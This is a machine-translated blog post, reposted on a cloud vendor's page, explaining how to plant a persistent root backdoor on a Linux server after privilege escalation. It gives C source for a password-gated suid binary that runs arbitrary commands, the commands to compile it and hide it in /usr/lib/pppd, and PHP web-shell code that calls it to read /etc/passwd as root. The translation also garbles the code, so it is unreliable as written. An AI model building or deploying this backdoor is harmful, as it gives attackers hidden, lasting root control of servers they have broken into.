An excessive script privilege Method

Source: Internet
Author: User

Summer vacation is boring, so I studied backdoors.

I used to have an idea: After Linux Elevation of Privilege, various backdoors are not concealed, and various firewalls are BT. Can PHP inherit suid permissions as backdoors.
After testing, this idea is feasible.

First, write a section C named: run. c and grant suid permission.

# Include <stdio. h>
# Include <stdlib. h>
# Include <sys/types. h>
# Include <unistd. h>
# Include <string. h>
Int main (int argc, char * argv [])
{
Char * pass = "imspider ";

If (argc <3)
{
Printf ("error \ n ");
Return 0;
}
Uid_t uid, euid;
Uid = getuid ();
Euid = geteuid ();
If (setreuid (euid, uid ))
Perror ("setreuid ");
Int s;
If (strcmp (argv [2], pass) = 0)
{
For (s = 3; s <argc; s ++)
{
Strcat (argv [1], "");
Strcat (argv [1], argv [s]);
}
System (argv [1]);
}
Else
{
Printf ("\ n -- Password error -- \ n ");
}
Return 0;
}

The program receives more than three parameters. The third parameter is the password (argv [2]), char * pass = "imspider", and the password is imspider.
If the password is correct, the system command can be executed.

Here I compile run. c to the/usr/lib/pppd path:

Root @ spider:/usr/lib/pppd # gcc-Wall-o run. c
Root @ spider:/usr/lib/pppd # chmod u + s run

The following PHP Code focuses on:
Here, we use the built-in system function of PHP. if the system is disabled, we can use the PHP extension. I have mentioned it before and I will not explain it here.
For example, if you want to view/etc/passwd, the third parameter mentioned above is the password.

<? Php
Echo '<pre> ';
System ('/usr/lib/pppd/run cat imspider/etc/passwd ');
Echo '</pre> ';
?>

System ('/usr/lib/pppd/run whoami imspider'); // call run to view the current user and output the root user.
System ('/usr/lib/pppd/run whoami fuck'); // if the Password is incorrect, a Password error is returned.
System ('whoam'); // do not call run to view the current user and output www.

I am bored and made a command interaction page.

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.